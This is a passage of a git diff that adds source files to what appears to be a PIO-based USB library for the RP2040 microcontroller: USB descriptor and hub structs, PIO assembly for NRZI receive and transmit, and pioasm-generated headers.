STAGE_CONFIG, + STAGE_CONFIG2, + STAGE_INTERFACE, + STAGE_ENDPOINT +} usb_enumeration_stage_t; + +typedef struct { + uint8_t *tx_address; + uint8_t tx_length; +} packet_info_t; + +typedef struct { + volatile uint8_t data_in_num; + volatile uint16_t buffer_idx; + volatile uint8_t *rx_buffer; + volatile packet_info_t setup_packet; + volatile packet_info_t out_data_packet; + volatile int16_t request_length; + volatile control_transfer_operation_t operation; + volatile setup_transfer_stage_t stage; +} control_pipe_t; + +typedef struct { + volatile uint8_t root_idx; + volatile uint8_t dev_addr; + bool need_pre; + bool is_tx; // Host out or Device in + + volatile uint8_t ep_num; + volatile bool new_data_flag; + volatile uint16_t size; + + volatile uint8_t attr; + volatile uint8_t interval; + volatile uint8_t interval_counter; + volatile uint8_t data_id; // data0 or data1 + + volatile bool stalled; + volatile bool has_transfer; + volatile bool transfer_started; + volatile bool transfer_aborted; + + uint8_t buffer[(64 + 4) * 2 * 7 / 6 + 2]; + uint8_t encoded_data_len; + uint8_t failed_count; + + uint8_t *app_buf; + uint16_t total_len; + uint16_t actual_len; +} endpoint_t; + +typedef enum { + EVENT_NONE, + EVENT_CONNECT, + EVENT_DISCONNECT, + EVENT_HUB_PORT_CHANGE, +} usb_device_event_t; + +typedef struct struct_usb_device_t usb_device_t; +typedef struct struct_root_port_t { + volatile bool initialized; + volatile bool addr0_exists; + volatile uint8_t pin_dp; + volatile uint8_t pin_dm; + volatile usb_device_event_t event; + usb_device_t *root_device; + PIO_USB_PINOUT pinout; + + volatile bool is_fullspeed; + volatile bool connected; + volatile bool suspended; + uint8_t mode; + + // register interface + volatile uint32_t ints; // interrupt status + volatile uint32_t ep_complete; + volatile uint32_t ep_error; + volatile uint32_t ep_stalled; + volatile uint32_t ep_continue; + + // device only + uint8_t dev_addr; + uint8_t *setup_packet; +} root_port_t; + +struct struct_usb_device_t { + volatile bool connected; + volatile bool enumerated; + volatile usb_device_event_t event; + volatile uint8_t address; + volatile uint16_t vid; + volatile uint16_t pid; + volatile uint8_t device_class; + volatile bool is_fullspeed; + volatile bool is_root; + control_pipe_t control_pipe; + uint8_t endpoint_id[PIO_USB_DEV_EP_CNT]; + uint8_t child_devices[PIO_USB_HUB_PORT_CNT]; + struct struct_usb_device_t *parent_device; + uint8_t parent_port; + root_port_t *root; +}; + +enum { + USB_SYNC = 0x80, + USB_PID_OUT = 0xe1, + USB_PID_IN = 0x69, + USB_PID_SOF = 0xa5, + USB_PID_SETUP = 0x2d, + USB_PID_DATA0 = 0xc3, + USB_PID_DATA1 = 0x4b, + USB_PID_ACK = 0xd2, + USB_PID_NAK = 0x5a, + USB_PID_STALL = 0x1e, + USB_PID_PRE = 0x3c, + USB_CRC16_PLACE = 0, +}; + +enum { + DESC_TYPE_DEVICE = 0x01, + DESC_TYPE_CONFIG = 0x02, + DESC_TYPE_STRING = 0x03, + DESC_TYPE_INTERFACE = 0x04, + DESC_TYPE_ENDPOINT = 0x05, + DESC_TYPE_HID = 0x21, + DESC_TYPE_HID_REPORT = 0x22, +}; + +enum { + CLASS_HID = 0x03, + CLASS_HUB = 0x09, +}; + +enum { + EP_ATTR_CONTROL = 0x00, + EP_ATTR_ISOCHRONOUS = 0x01, + EP_ATTR_BULK = 0x02, + EP_ATTR_INTERRUPT = 0x03, + EP_ATTR_ENUMERATING = 0x80 +}; + +typedef struct { + // uint8_t sync; + // uint8_t pid; + uint8_t request_type; + uint8_t request; + uint8_t value_lsb; + uint8_t value_msb; + uint8_t index_lsb; + uint8_t index_msb; + uint8_t length_lsb; + uint8_t length_msb; + // uint8_t crc16[2]; +} usb_setup_packet_t; + +typedef struct { + uint8_t length; + uint8_t type; + uint8_t bcd_usb[2]; + uint8_t device_class; + uint8_t subclass; + uint8_t protocol; + uint8_t max_packet_size; + uint8_t vid[2]; + uint8_t pid[2]; + uint8_t bcd_device[2]; + uint8_t manufacture; + uint8_t product; + uint8_t serial; + uint8_t num_configu; +} device_descriptor_t; + +typedef struct { + uint8_t length; + uint8_t type; + uint8_t string[62]; +} __attribute__((aligned(2))) string_descriptor_t; + +typedef struct { + uint8_t length; + uint8_t type; + uint8_t inum; + uint8_t altsetting; + uint8_t numep; + uint8_t iclass; + uint8_t isubclass; + uint8_t iprotocol; + uint8_t iface; +} interface_descriptor_t; + +typedef struct { + uint8_t length; + uint8_t type; + uint8_t epaddr; + uint8_t attr; + uint8_t max_size[2]; + uint8_t interval; +} endpoint_descriptor_t; + +typedef struct { + uint8_t length; + uint8_t type; + uint8_t bcd_hid[2]; + uint8_t contry_code; + uint8_t num_desc; + uint8_t desc_type; + uint8_t desc_len[2]; +} hid_descriptor_t; + +typedef struct configuration_descriptor_tag { + uint8_t length; + uint8_t type; + uint8_t total_length_lsb; + uint8_t total_length_msb; + uint8_t num_interfaces; + uint8_t configuration_value; + uint8_t configuration; + uint8_t attributes; + uint8_t max_power; +} configuration_descriptor_t; + +typedef struct { + uint8_t lenght; + uint8_t type; + uint8_t port_num; + uint8_t chara_lsb; + uint8_t chara_msb; + uint8_t pow_on_time; + uint8_t current; + uint8_t removable; +} hub_descriptor_t; + +typedef struct { + uint16_t port_status; + uint16_t port_change; +} hub_port_status_t; + +enum { + HUB_SET_PORT_RESET = 4, + HUB_SET_PORT_POWER = 8, + HUB_CLR_PORT_CONNECTION = 16, + HUB_CLR_PORT_ENABLE = 17, + HUB_CLR_PORT_SUSPEND = 18, + HUB_CLR_PORT_RESET = 20, +}; + +enum { + HUB_STAT_PORT_CONNECTION = (1 << 0), + HUB_STAT_PORT_ENABLE = (1 << 1), + HUB_STAT_PORT_SUSPEND = (1 << 2), + HUB_STAT_PORT_OC = (1 << 3), + HUB_STAT_PORT_RESET = (1 << 4), + HUB_STAT_PORT_POWER = (1 << 8), + HUB_STAT_PORT_LOWSPEED = (1 << 9), +}; + +enum { + HUB_CHANGE_PORT_CONNECTION = (1 << 0), + HUB_CHANGE_PORT_ENABLE = (1 << 1), + HUB_CHANGE_PORT_SUSPEND = (1 << 2), + HUB_CHANGE_PORT_OC = (1 << 3), + HUB_CHANGE_PORT_RESET = (1 << 4), +}; + +enum { + USB_REQ_DIR_IN = 0x80, + USB_REQ_DIR_OUT = 0x00, + USB_REQ_TYP_STANDARD = 0x00, + USB_REQ_TYP_CLASS = 0x20, + USB_REQ_TYP_VENDOR = 0x40, + USB_REQ_REC_DEVICE = 0x00, + USB_REQ_REC_IFACE = 0x01, + USB_REQ_REC_EP = 0x02, + USB_REQ_REC_OTHER = 0x03, +}; + +#define GET_DEVICE_DESCRIPTOR_REQ_DEFAULT \ + { USB_REQ_DIR_IN, 0x06, 0, 0x01, 0, 0, 0x12, 0 } +#define GET_CONFIGURATION_DESCRIPTOR_REQ_DEFAULT \ + { USB_REQ_DIR_IN, 0x06, 0, 0x02, 0, 0, 0x09, 0 } +#define SET_CONFIGURATION_REQ_DEFAULT \ + { USB_REQ_DIR_OUT, 0x09, 0, 0, 0, 0, 0, 0 } +#define SET_ADDRESS_REQ_DEFAULT \ + { USB_REQ_DIR_OUT, 0x5, 0x02, 0, 0, 0, 0, 0 } +#define SET_HID_IDLE_REQ_DEFAULT \ + { USB_REQ_TYP_CLASS | USB_REQ_REC_IFACE, 0x0A, 0, 0, 0, 0, 0, 0 } +#define GET_HID_REPORT_DESCRIPTOR_DEFAULT \ + { USB_REQ_DIR_IN | USB_REQ_REC_IFACE, 0x06, 0, 0x22, 0, 0, 0xff, 0 } +#define GET_HUB_DESCRPTOR_REQUEST \ + { \ + USB_REQ_DIR_IN | USB_REQ_TYP_CLASS | USB_REQ_REC_DEVICE, 0x06, 0, 0x29, 0, \ + 0, 8, 0 \ + } +#define GET_HUB_PORT_STATUS_REQUEST \ + { \ + USB_REQ_DIR_IN | USB_REQ_TYP_CLASS | USB_REQ_REC_OTHER, 0, 0, 0, 0, 0, 4, \ + 0 \ + } +#define SET_HUB_FEATURE_REQUEST \ + { \ + USB_REQ_DIR_OUT | USB_REQ_TYP_CLASS | USB_REQ_REC_OTHER, 0x03, 0, 0, 0, 0, \ + 0, 0 \ + } +#define CLEAR_HUB_FEATURE_REQUEST \ + { \ + USB_REQ_DIR_OUT | USB_REQ_TYP_CLASS | USB_REQ_REC_OTHER, 0x01, 0, 0, 0, 0, \ + 0, 0 \ + } + +typedef struct { + const uint8_t *device; + const uint8_t *config; + const uint8_t **hid_report; + const string_descriptor_t *string; +} usb_descriptor_buffers_t; diff --git a/pio_usb/src/usb_rx.pio b/pio_usb/src/usb_rx.pio new file mode 100644 index 0000000..fc71dbf --- /dev/null +++ b/pio_usb/src/usb_rx.pio @@ -0,0 +1,228 @@ + +; Copyright (c) 2021-2024 sekigon-gonnoc + +.define public IRQ_RX_BS_ERR 1 ; bit stuffinc error +.define public IRQ_RX_EOP 2 ; eop detect flag +.define public IRQ_RX_START 3 ; packet start flag +.define public DECODER_TRIGGER 4 + +.define BIT_REPEAT_COUNT 6 ; bit repeat counter + +.define db0 0 +.define db1 1 + +; USB signal edge and eop detector +; 17 instruction +; FS(12M) LS(1.5M) +; Run at 96MHz 12MHz +; jmp_pin d- d+ +; in_pin d+ d- +; both d+/d- pin should be input invert overrideed +.program usb_edge_detector +eop: + irq wait IRQ_RX_EOP +start: + jmp pin start ; Wait fall edge + irq IRQ_RX_START [1] + +.wrap_target +pin_still_low: + irq DECODER_TRIGGER [1] ; Trigger NRZI decoder + +; Resync on rising edge +pin_low: + jmp pin pin_went_high + jmp pin pin_went_high +pin_went_low: + jmp pin pin_went_high + jmp pin pin_went_high + jmp pin pin_went_high + jmp pin pin_went_high +.wrap + +pin_still_high: + mov x, isr [1] + jmp x-- eop ; Jump to eop if jmp_pin and in_pin are high because both inputs are inverted +; Jump to here on rising edge +pin_went_high: + mov isr, null [1] + irq DECODER_TRIGGER ; Trigger NRZI decoder + in pins, 1 ; Capture the pin to check eop. + jmp pin pin_still_high + jmp pin_went_low ; To adjust interval of decoder trigger, jump to pin_went_low (not pin_low) + +.program usb_edge_detector_debug +.side_set 1 +eop: + irq wait IRQ_RX_EOP side db0 +start: + jmp pin start side db1 ; Wait fall edge + irq IRQ_RX_START [1] side db0 + +.wrap_target +pin_still_low: + irq DECODER_TRIGGER [1] side db0 ; Trigger NRZI decoder + +; Resync on rising edge +pin_low: + jmp pin pin_went_high side db1 + jmp pin pin_went_high side db1 +pin_went_low: + jmp pin pin_went_high side db1 + jmp pin pin_went_high side db1 + jmp pin pin_went_high side db1 + jmp pin pin_went_high side db1 +.wrap + +pin_still_high: + mov x, isr [1] side db1 + jmp x-- eop side db1 ; Jump to eop if jmp_pin and in_pin are high because both inputs are inverted +; Jump to here on rising edge +pin_went_high: + mov isr, null [1] side db1 + irq DECODER_TRIGGER side db0 ; Trigger NRZI decoder + in pins, 1 side db0 ; Capture the pin to check eop. + jmp pin pin_still_high side db0 + jmp pin_went_low side db1 ; To adjust interval of decoder trigger, jump to pin_went_low (not pin_low) + +; USB NRZI data decoder +; 15 instruction +; FS(12M) LS(1.5M) +; Run at as fast as possible +; jmp_pin d+ d- +; both d+/d- pin should be input invert overrideed +; Fill OSR by 1 and set 0 to x before runnning this program +.program usb_nrzi_decoder +start: + ; set x, 0 +.wrap_target +set_y: + set y, BIT_REPEAT_COUNT +irq_wait: + wait 1 irq DECODER_TRIGGER ; wait signal from edge detector + jmp !y flip ; ignore stuff bit, without error check + jmp PIN pin_high +pin_low: + jmp !x K1 +K2: + ; x==1 +J1: + ; x==0 + in null, 1 +flip: + mov x, ~x +.wrap + +pin_high: + jmp !x J1 +J2: + ; x==1 +K1: + ; x==0 + in osr, 1 + jmp y-- irq_wait ; y is always not 0 at here + +.program usb_nrzi_decoder_debug +.side_set 1 opt +start: + ; set x, 0 side db0 +.wrap_target +set_y: + set y, BIT_REPEAT_COUNT +irq_wait: + wait 1 irq DECODER_TRIGGER ; wait signal from edge detector + jmp !y flip ; ignore stuff bit, without error check + jmp PIN pin_high +pin_low: + jmp !x K1 side db0 +K2: + ; x==1 +J1: + ; x==0 + in null, 1 +flip: + mov x, ~x +.wrap + +pin_high: + jmp !x J1 side db1 +K1: + ; x==0 +J2: + ; x==1 + in osr, 1 + jmp y-- irq_wait ; y is always not 0 at here + +% c-sdk { +#include "hardware/clocks.h" +#include "sdk_compat.h" + +static inline void usb_rx_fs_program_init(PIO pio, uint sm, uint offset, uint pin_dp, uint pin_dm, int pin_debug) { + if (pin_dp < pin_dm) { + pio_sm_set_consecutive_pindirs(pio, sm, pin_dp, 2, false); + } else { + pio_sm_set_consecutive_pindirs(pio, sm, pin_dm, 2, false); + } + gpio_pull_down(pin_dp); + gpio_pull_down(pin_dm); + gpio_set_inover(pin_dp, GPIO_OVERRIDE_INVERT); + gpio_set_inover(pin_dm, GPIO_OVERRIDE_INVERT); + + pio_sm_config c; + + if (pin_debug < 0) { + c = usb_nrzi_decoder_program_get_default_config(offset); + } else { + c = usb_nrzi_decoder_debug_program_get_default_config(offset); + + pio_sm_set_pins_with_mask64(pio, sm, 0, 1ull << pin_debug); + pio_sm_set_pindirs_with_mask64(pio, sm, 1ull << pin_debug, 1ull << pin_debug); + pio_gpio_init(pio, pin_debug); + sm_config_set_sideset_pins(&c, pin_debug); + } + + sm_config_set_in_pins(&c, pin_dp); // for WAIT, IN + sm_config_set_jmp_pin(&c, pin_dp); // for JMP + + // Shift to right, autopull enabled, 8bit + sm_config_set_in_shift(&c, true, true, 8); + sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_RX); + + pio_sm_init(pio, sm, offset, &c); + pio_sm_exec(pio, sm, pio_encode_mov_not(pio_osr, pio_null)); + pio_sm_set_enabled(pio, sm, false); +} + +static inline void eop_detect_fs_program_init(PIO pio, uint sm, uint offset, + uint pin_dp, uint pin_dm, bool is_fs, int pin_debug) { + pio_sm_config c; + + if (pin_debug < 0) { + c = usb_edge_detector_program_get_default_config(offset); + } else { + c = usb_edge_detector_debug_program_get_default_config(offset); + pio_sm_set_pins_with_mask64(pio, sm, 0, 1ull << pin_debug); + pio_sm_set_pindirs_with_mask64(pio, sm, 1ull << pin_debug, 1ull << pin_debug); + pio_gpio_init(pio, pin_debug); + sm_config_set_sideset_pins(&c, pin_debug); + } + + sm_config_set_in_pins(&c, pin_dp); // for WAIT, IN + sm_config_set_jmp_pin(&c, pin_dm); // for JMP + + sm_config_set_in_shift(&c, false, false, 8); + + float div; + if (is_fs) { + div = (float)clock_get_hz(clk_sys) / (96000000); + } else { + div = (float)clock_get_hz(clk_sys) / (12000000); + } + + sm_config_set_clkdiv(&c, div); + + pio_sm_init(pio, sm, offset, &c); + pio_sm_set_enabled(pio, sm, true); +} + +%} diff --git a/pio_usb/src/usb_rx.pio.h b/pio_usb/src/usb_rx.pio.h new file mode 100644 index 0000000..5212aa1 --- /dev/null +++ b/pio_usb/src/usb_rx.pio.h @@ -0,0 +1,233 @@ +// -------------------------------------------------- // +// This file is autogenerated by pioasm; do not edit! // +// -------------------------------------------------- // + +#pragma once + +#if !PICO_NO_HARDWARE +#include "hardware/pio.h" +#endif + +#define IRQ_RX_BS_ERR 1 +#define IRQ_RX_EOP 2 +#define IRQ_RX_START 3 +#define DECODER_TRIGGER 4 + +// ----------------- // +// usb_edge_detector // +// ----------------- // + +#define usb_edge_detector_wrap_target 3 +#define usb_edge_detector_wrap 9 + +static const uint16_t usb_edge_detector_program_instructions[] = { + 0xc022, // 0: irq wait 2 + 0x00c1, // 1: jmp pin, 1 + 0xc103, // 2: irq nowait 3 [1] + // .wrap_target + 0xc104, // 3: irq nowait 4 [1] + 0x00cc, // 4: jmp pin, 12 + 0x00cc, // 5: jmp pin, 12 + 0x00cc, // 6: jmp pin, 12 + 0x00cc, // 7: jmp pin, 12 + 0x00cc, // 8: jmp pin, 12 + 0x00cc, // 9: jmp pin, 12 + // .wrap + 0xa126, // 10: mov x, isr [1] + 0x0040, // 11: jmp x--, 0 + 0xa1c3, // 12: mov isr, null [1] + 0xc004, // 13: irq nowait 4 + 0x4001, // 14: in pins, 1 + 0x00ca, // 15: jmp pin, 10 + 0x0006, // 16: jmp 6 +}; + +#if !PICO_NO_HARDWARE +static const struct pio_program usb_edge_detector_program = { + .instructions = usb_edge_detector_program_instructions, + .length = 17, + .origin = -1, +}; + +static inline pio_sm_config usb_edge_detector_program_get_default_config(uint offset) { + pio_sm_config c = pio_get_default_sm_config(); + sm_config_set_wrap(&c, offset + usb_edge_detector_wrap_target, offset + usb_edge_detector_wrap); + return c; +} +#endif + +// ----------------------- // +// usb_edge_detector_debug // +// ----------------------- // + +#define usb_edge_detector_debug_wrap_target 3 +#define usb_edge_detector_debug_wrap 9 + +static const uint16_t usb_edge_detector_debug_program_instructions[] = { + 0xc022, // 0: irq wait 2 side 0 + 0x10c1, // 1: jmp pin, 1 side 1 + 0xc103, // 2: irq nowait 3 side 0 [1] + // .wrap_target + 0xc104, // 3: irq nowait 4 side 0 [1] + 0x10cc, // 4: jmp pin, 12 side 1 + 0x10cc, // 5: jmp pin, 12 side 1 + 0x10cc, // 6: jmp pin, 12 side 1 + 0x10cc, // 7: jmp pin, 12 side 1 + 0x10cc, // 8: jmp pin, 12 side 1 + 0x10cc, // 9: jmp pin, 12 side 1 + // .wrap + 0xb126, // 10: mov x, isr side 1 [1] + 0x1040, // 11: jmp x--, 0 side 1 + 0xb1c3, // 12: mov isr, null side 1 [1] + 0xc004, // 13: irq nowait 4 side 0 + 0x4001, // 14: in pins, 1 side 0 + 0x00ca, // 15: jmp pin, 10 side 0 + 0x1006, // 16: jmp 6 side 1 +}; + +#if !PICO_NO_HARDWARE +static const struct pio_program usb_edge_detector_debug_program = { + .instructions = usb_edge_detector_debug_program_instructions, + .length = 17, + .origin = -1, +}; + +static inline pio_sm_config usb_edge_detector_debug_program_get_default_config(uint offset) { + pio_sm_config c = pio_get_default_sm_config(); + sm_config_set_wrap(&c, offset + usb_edge_detector_debug_wrap_target, offset + usb_edge_detector_debug_wrap); + sm_config_set_sideset(&c, 1, false, false); + return c; +} +#endif + +// ---------------- // +// usb_nrzi_decoder // +// ---------------- // + +#define usb_nrzi_decoder_wrap_target 0 +#define usb_nrzi_decoder_wrap 6 + +static const uint16_t usb_nrzi_decoder_program_instructions[] = { + // .wrap_target + 0xe046, // 0: set y, 6 + 0x20c4, // 1: wait 1 irq, 4 + 0x0066, // 2: jmp !y, 6 + 0x00c7, // 3: jmp pin, 7 + 0x0028, // 4: jmp !x, 8 + 0x4061, // 5: in null, 1 + 0xa029, // 6: mov x, !x + // .wrap + 0x0025, // 7: jmp !x, 5 + 0x40e1, // 8: in osr, 1 + 0x0081, // 9: jmp y--, 1 +}; + +#if !PICO_NO_HARDWARE +static const struct pio_program usb_nrzi_decoder_program = { + .instructions = usb_nrzi_decoder_program_instructions, + .length = 10, + .origin = -1, +}; + +static inline pio_sm_config usb_nrzi_decoder_program_get_default_config(uint offset) { + pio_sm_config c = pio_get_default_sm_config(); + sm_config_set_wrap(&c, offset + usb_nrzi_decoder_wrap_target, offset + usb_nrzi_decoder_wrap); + return c; +} +#endif + +// ---------------------- // +// usb_nrzi_decoder_debug // +// ---------------------- // + +#define usb_nrzi_decoder_debug_wrap_target 0 +#define usb_nrzi_decoder_debug_wrap 6 + +static const uint16_t usb_nrzi_decoder_debug_program_instructions[] = { + // .wrap_target + 0xe046, // 0: set y, 6 + 0x20c4, // 1: wait 1 irq, 4 + 0x0066, // 2: jmp !y, 6 + 0x00c7, // 3: jmp pin, 7 + 0x1028, // 4: jmp !x, 8 side 0 + 0x4061, // 5: in null, 1 + 0xa029, // 6: mov x, !x + // .wrap + 0x1825, // 7: jmp !x, 5 side 1 + 0x40e1, // 8: in osr, 1 + 0x0081, // 9: jmp y--, 1 +}; + +#if !PICO_NO_HARDWARE +static const struct pio_program usb_nrzi_decoder_debug_program = { + .instructions = usb_nrzi_decoder_debug_program_instructions, + .length = 10, + .origin = -1, +}; + +static inline pio_sm_config usb_nrzi_decoder_debug_program_get_default_config(uint offset) { + pio_sm_config c = pio_get_default_sm_config(); + sm_config_set_wrap(&c, offset + usb_nrzi_decoder_debug_wrap_target, offset + usb_nrzi_decoder_debug_wrap); + sm_config_set_sideset(&c, 2, true, false); + return c; +} + +#include "hardware/clocks.h" +#include "sdk_compat.h" +static inline void usb_rx_fs_program_init(PIO pio, uint sm, uint offset, uint pin_dp, uint pin_dm, int pin_debug) { + if (pin_dp < pin_dm) { + pio_sm_set_consecutive_pindirs(pio, sm, pin_dp, 2, false); + } else { + pio_sm_set_consecutive_pindirs(pio, sm, pin_dm, 2, false); + } + gpio_pull_down(pin_dp); + gpio_pull_down(pin_dm); + gpio_set_inover(pin_dp, GPIO_OVERRIDE_INVERT); + gpio_set_inover(pin_dm, GPIO_OVERRIDE_INVERT); + pio_sm_config c; + if (pin_debug < 0) { + c = usb_nrzi_decoder_program_get_default_config(offset); + } else { + c = usb_nrzi_decoder_debug_program_get_default_config(offset); + pio_sm_set_pins_with_mask64(pio, sm, 0, 1ull << pin_debug); + pio_sm_set_pindirs_with_mask64(pio, sm, 1ull << pin_debug, 1ull << pin_debug); + pio_gpio_init(pio, pin_debug); + sm_config_set_sideset_pins(&c, pin_debug); + } + sm_config_set_in_pins(&c, pin_dp); // for WAIT, IN + sm_config_set_jmp_pin(&c, pin_dp); // for JMP + // Shift to right, autopush enabled, 8bit + sm_config_set_in_shift(&c, true, true, 8); + sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_RX); + pio_sm_init(pio, sm, offset, &c); + pio_sm_exec(pio, sm, pio_encode_mov_not(pio_osr, pio_null)); + pio_sm_set_enabled(pio, sm, false); +} +static inline void eop_detect_fs_program_init(PIO pio, uint sm, uint offset, + uint pin_dp, uint pin_dm, bool is_fs, int pin_debug) { + pio_sm_config c; + if (pin_debug < 0) { + c = usb_edge_detector_program_get_default_config(offset); + } else { + c = usb_edge_detector_debug_program_get_default_config(offset); + pio_sm_set_pins_with_mask64(pio, sm, 0, 1ull << pin_debug); + pio_sm_set_pindirs_with_mask64(pio, sm, 1ull << pin_debug, 1ull << pin_debug); + pio_gpio_init(pio, pin_debug); + sm_config_set_sideset_pins(&c, pin_debug); + } + sm_config_set_in_pins(&c, pin_dp); // for WAIT, IN + sm_config_set_jmp_pin(&c, pin_dm); // for JMP + sm_config_set_in_shift(&c, false, false, 8); + float div; + if (is_fs) { + div = (float)clock_get_hz(clk_sys) / (96000000); + } else { + div = (float)clock_get_hz(clk_sys) / (12000000); + } + sm_config_set_clkdiv(&c, div); + pio_sm_init(pio, sm, offset, &c); + pio_sm_set_enabled(pio, sm, true); +} + +#endif + diff --git a/pio_usb/src/usb_tx.pio b/pio_usb/src/usb_tx.pio new file mode 100644 index 0000000..607b9d8 --- /dev/null +++ b/pio_usb/src/usb_tx.pio @@ -0,0 +1,160 @@ +; Copyright (c) 2021-2024 sekigon-gonnoc + +.define public IRQ_TX_EOP 0 ; EOP start flag bit + +; USB NRZI transmitter +; Run at 48 MHz for full-speed (x4) +; Run at 6 MHz for low-speed (x4) +; autopull enabled +; Should be placed at address 0 +.program usb_tx_dpdm +.side_set 2 + +; J for fs, K for ls +.define public FJ_LK 0b01 +; K for fs, J for ls +.define FK_LJ 0b10 +.define SE0 0b00 + +irq IRQ_TX_EOP side SE0 [7] +reset: +.wrap_target +out pc, 2 side FJ_LK [3] +set pindirs, 0b00 side FJ_LK [3] +out pc, 2 side FK_LJ [3] +start: +set pindirs, 0b11 side FJ_LK +.wrap + +; USB transmitter for PRE packet (No EOP) +; Run at 48 MHz for full-spped +; autopull enabled +.program usb_tx_pre_dpdm +.side_set 2 + +; J for fs, K for ls +.define FJ_LK 0b01 +; K for fs, J for ls +.define FK_LJ 0b10 +.define SE0 0b00 + +irq IRQ_TX_EOP side FJ_LK [7] +reset: +.wrap_target +out pc, 2 side FJ_LK [3] +set pindirs, 0b00 side FJ_LK [3] +out pc, 2 side FK_LJ [3] +start: +set pindirs, 0b11 side FJ_LK +.wrap + +; USB NRZI transmitter +; Run at 48 MHz for full-speed +; Run at 6 MHz for low-speed +; autopull enabled +.program usb_tx_dmdp +.side_set 2 + +.define FK_LJ 0b01 +.define public FJ_LK 0b10 +.define SE0 0b00 + +irq IRQ_TX_EOP side SE0 [7] +reset: +.wrap_target +out pc, 2 side FJ_LK [3] +set pindirs, 0b00 side FJ_LK [3] +out pc, 2 side FK_LJ [3] +start: +set pindirs, 0b11 side FJ_LK +.wrap + +; USB transmitter for PRE packet (No EOP) +; Run at 48 MHz for full-spped +; autopull enabled +.program usb_tx_pre_dmdp +.side_set 2 + +.define FK_LJ 0b01 +.define FJ_LK 0b10 +.define SE0 0b00 + +irq IRQ_TX_EOP side FJ_LK [7] +reset: +.wrap_target +out pc, 2 side FJ_LK [3] +set pindirs, 0b00 side FJ_LK [3] +out pc, 2 side FK_LJ [3] +start: +set pindirs, 0b11 side FJ_LK +.wrap + +% c-sdk { +#include "hardware/clocks.h" +#include "sdk_compat.h" + + static void __no_inline_not_in_flash_func(usb_tx_configure_pins)(PIO pio, uint sm, uint pin_dp, uint pin_dm) { + if (pin_dp < pin_dm) { + pio_sm_set_out_pins(pio, sm, pin_dp, 2); + pio_sm_set_set_pins(pio, sm, pin_dp, 2); + pio_sm_set_sideset_pins(pio, sm, pin_dp); + } else { + pio_sm_set_out_pins(pio, sm, pin_dm, 2); + pio_sm_set_set_pins(pio, sm, pin_dm, 2); + pio_sm_set_sideset_pins(pio, sm, pin_dm); + } + } + + static inline void usb_tx_fs_program_init(PIO pio, uint sm, uint offset, + uint pin_dp, uint pin_dm) { + pio_sm_set_pins_with_mask64(pio, sm, (1ull << pin_dp), ((1ull << pin_dp) | (1ull << pin_dm))); + + gpio_pull_down(pin_dp); + gpio_pull_down(pin_dm); + pio_gpio_init(pio, pin_dp); + pio_gpio_init(pio, pin_dm); + + pio_sm_config c = usb_tx_dpdm_program_get_default_config(offset); + + // shifts to left, autopull, 8bit + sm_config_set_out_shift(&c, false, true, 8); + + sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX); + + // run at 48MHz + // clk_sys should be multiply of 12MHz + float div = (float)clock_get_hz(clk_sys) / (48000000UL); + sm_config_set_clkdiv(&c, div); + + pio_sm_init(pio, sm, offset + 1, &c); + usb_tx_configure_pins(pio, sm, pin_dp, pin_dm); + pio_sm_set_enabled(pio, sm, true); + } + + static inline void usb_tx_ls_program_init(PIO pio, uint sm, uint offset, + uint pin_dp, uint pin_dm) { + pio_sm_set_pins_with_mask64(pio, sm, (1ull << pin_dm), ((1ull << pin_dp) | (1ull << pin_dm))); + + gpio_pull_down(pin_dp); + gpio_pull_down(pin_dm); + pio_gpio_init(pio, pin_dp); + pio_gpio_init(pio, pin_dm); + + pio_sm_config c = usb_tx_dmdp_program_get_default_config(offset); + + // shifts to left, autopull, 8bit + sm_config_set_out_shift(&c, false, true, 8); + + sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX); + + // run at 6MHz + // clk_sys should be multiply of 12MHz + float div = (float)clock_get_hz(clk_sys) / (6000000UL); + sm_config_set_clkdiv(&c, div); + + pio_sm_init(pio, sm, offset + 1, &c); + usb_tx_configure_pins(pio, sm, pin_dp, pin_dm); + pio_sm_set_enabled(pio, sm, true); + } + +%} diff --git a/pio_usb/src/usb_tx.pio.h b/pio_usb/src/usb_tx.pio.h new file mode 100644 index 0000000..bb972a1 --- /dev/null +++ b/pio_usb/src/usb_tx.pio.h @@ -0,0 +1,195 @@ +// -------------------------------------------------- // +// This file is autogenerated by pioasm; do not edit! // +// -------------------------------------------------- // + +#pragma once + +#if !PICO_NO_HARDWARE +#include "hardware/pio.h" +#endif + +#define IRQ_TX_EOP 0 + +// ----------- // +// usb_tx_dpdm // +// ----------- // + +#define usb_tx_dpdm_wrap_target 1 +#define usb_tx_dpdm_wrap 4 +#define usb_tx_dpdm_FJ_LK 1 + +static const uint16_t __not_in_flash("tx_program") usb_tx_dpdm_program_instructions[] = { + 0xc700, // 0: irq nowait 0 side 0 [7] + // .wrap_target + 0x6ba2, // 1: out pc, 2 side 1 [3] + 0xeb80, // 2: set pindirs, 0 side 1 [3] + 0x73a2, // 3: out pc, 2 side 2 [3] + 0xe883, // 4: set pindirs, 3 side 1 + // .wrap +}; + +#if !PICO_NO_HARDWARE +static const struct pio_program __not_in_flash("tx_program") usb_tx_dpdm_program = { + .instructions = usb_tx_dpdm_program_instructions, + .length = 5, + .origin = -1, +}; + +static inline pio_sm_config usb_tx_dpdm_program_get_default_config(uint offset) { + pio_sm_config c = pio_get_default_sm_config(); + sm_config_set_wrap(&c, offset + usb_tx_dpdm_wrap_target, offset + usb_tx_dpdm_wrap); + sm_config_set_sideset(&c, 2, false, false); + return c; +} +#endif + +// --------------- // +// usb_tx_pre_dpdm // +// --------------- // + +#define usb_tx_pre_dpdm_wrap_target 1 +#define usb_tx_pre_dpdm_wrap 4 + +static const uint16_t __not_in_flash("tx_program") usb_tx_pre_dpdm_program_instructions[] = { + 0xcf00, // 0: irq nowait 0 side 1 [7] + // .wrap_target + 0x6ba2, // 1: out pc, 2 side 1 [3] + 0xeb80, // 2: set pindirs, 0 side 1 [3] + 0x73a2, // 3: out pc, 2 side 2 [3] + 0xe883, // 4: set pindirs, 3 side 1 + // .wrap +}; + +#if !PICO_NO_HARDWARE +static const struct pio_program __not_in_flash("tx_program") usb_tx_pre_dpdm_program = { + .instructions = usb_tx_pre_dpdm_program_instructions, + .length = 5, + .origin = -1, +}; + +static inline pio_sm_config usb_tx_pre_dpdm_program_get_default_config(uint offset) { + pio_sm_config c = pio_get_default_sm_config(); + sm_config_set_wrap(&c, offset + usb_tx_pre_dpdm_wrap_target, offset + usb_tx_pre_dpdm_wrap); + sm_config_set_sideset(&c, 2, false, 